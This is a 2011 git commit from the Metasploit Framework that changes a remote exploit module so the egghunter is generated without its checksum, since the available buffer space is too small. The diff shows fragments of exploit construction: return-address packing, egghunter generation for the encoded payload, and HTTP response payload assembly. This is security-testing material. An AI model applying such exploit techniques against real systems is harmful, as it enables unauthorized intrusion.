checksum support for egghunter disabled, because not enough room for it. See r4552.

git-svn-id: file:///home/svn/framework3/trunk@12656 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-05-18 19:48:06 +00:00
parent 04efaf9281
commit 6345fec06c
1 changed files with 4 additions and 1 deletions

View File

@ -96,7 +96,10 @@ class Metasploit3 < Msf::Exploit::Remote
# Pack the values
ret = [ ret ].pack('V')
clean = [ clean ].pack('V')
hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true })
#checksum is disabled because it is 54 bytes big, and we have only 40 bytes of room
#to fit the egghunter.
hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => false })
egg = hunter[1]
# Now, build out the HTTP response payload